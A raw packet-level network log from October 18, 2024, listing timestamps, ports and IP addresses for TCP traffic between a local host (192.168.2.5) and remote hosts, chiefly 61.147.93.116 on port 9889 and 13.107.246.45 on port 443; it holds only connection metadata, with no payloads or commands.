Oct 18, 2024 23:46:19.257359028 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.257374048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.257390022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.257401943 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.257405043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.257427931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.257469893 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.295512915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295527935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295542955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295564890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295581102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295592070 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.295592070 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.295597076 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295671940 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.295675993 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295736074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295739889 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.295752048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295767069 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.295773029 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.295813084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.295813084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296021938 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296036959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296051025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296092987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296092987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296159983 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296196938 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296211004 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296226025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296236038 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296236038 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296255112 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296395063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296513081 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296526909 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296540976 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296572924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296576977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296576977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296588898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296607971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296622992 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296637058 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.296653032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296653032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.296765089 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.297086954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.297117949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.297132015 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.297153950 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.297153950 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.297229052 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.323224068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.323277950 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.323292971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.323359966 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.323404074 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.323542118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.323573112 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.323617935 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.323617935 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.346095085 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.346116066 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.346244097 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.346252918 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.346309900 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.362318039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.362380981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.362395048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.362421036 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.362427950 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.362469912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.362555027 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.367595911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.367702007 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.367726088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.367741108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.367804050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.367804050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.381717920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381792068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.381810904 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381830931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381845951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381886959 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.381886959 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.381891966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381908894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381942034 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.381943941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381961107 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381974936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.381982088 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.381982088 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.381992102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382021904 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382023096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382045984 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382061005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382075071 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382087946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382090092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382090092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382103920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382122040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382144928 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382147074 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382147074 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382159948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382175922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382189035 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382203102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382203102 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382203102 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382225037 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.382261992 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.382261992 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.383533955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.383577108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.383591890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.383593082 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.383635998 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.383635998 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.391268015 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.391295910 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.391349077 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.391354084 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.391408920 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.412385941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412400007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412414074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412435055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412450075 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412463903 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412504911 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.412504911 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.412646055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412661076 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412673950 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412734032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.412734032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.412867069 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412882090 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412895918 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412909031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412925005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.412954092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.412954092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.413027048 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.413342953 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413357019 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413372040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413386106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413399935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413414001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413418055 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.413418055 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.413429976 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413443089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413485050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.413485050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.413811922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413913012 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413927078 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413940907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413954973 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413958073 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.413958073 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.413969994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413985968 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.413999081 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.414036989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.414036989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.440190077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.440211058 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.440227032 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.440239906 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.440254927 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.440264940 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.440329075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.440329075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.474222898 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.474256039 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.474323988 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.474353075 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.474378109 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.474404097 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.479191065 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.479235888 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.479258060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.479274035 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.479284048 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.479284048 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.479290009 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.479309082 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.479346037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.483998060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.484038115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.484087944 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.484087944 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.489608049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.489635944 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.489653111 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.489670038 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.489681959 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.489681959 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.489687920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.489707947 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.489725113 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.489747047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.489747047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.489779949 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.490129948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.490151882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.490180969 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.490186930 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.490197897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.490217924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.490222931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.490222931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.490256071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.490276098 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498585939 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498617887 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498667955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498670101 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498670101 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498703957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498737097 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498739004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498749971 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498769999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498790026 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498804092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498837948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498863935 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498863935 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498871088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498884916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498908043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498936892 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.498939991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498994112 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.498994112 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.499197006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.499231100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.499267101 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.499273062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.499273062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.499299049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.499336004 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.499356031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.499382019 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.499382019 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.499471903 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.499505043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.499547005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.499548912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.499548912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.499588013 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529500961 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529536009 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529570103 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529603958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529603958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529645920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529695988 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529727936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529759884 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529761076 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529777050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529793978 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529810905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529828072 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529860020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529882908 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529882908 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529895067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529928923 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.529936075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529968977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.529968977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530000925 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530034065 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530060053 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530086040 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530106068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530138016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530162096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530174971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530196905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530240059 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530327082 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530378103 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530410051 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530462027 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530493975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530528069 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530560970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530564070 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530596018 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530643940 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530643940 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.530947924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.530981064 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.531025887 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.531032085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.531065941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.531084061 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.531084061 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.531102896 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.531145096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.531145096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.531196117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.531275034 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.531307936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.531327009 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.531327009 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.531342983 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.531404972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.531404972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.557048082 CEST	9889	49720	61.147.93.116	192.168.2.5
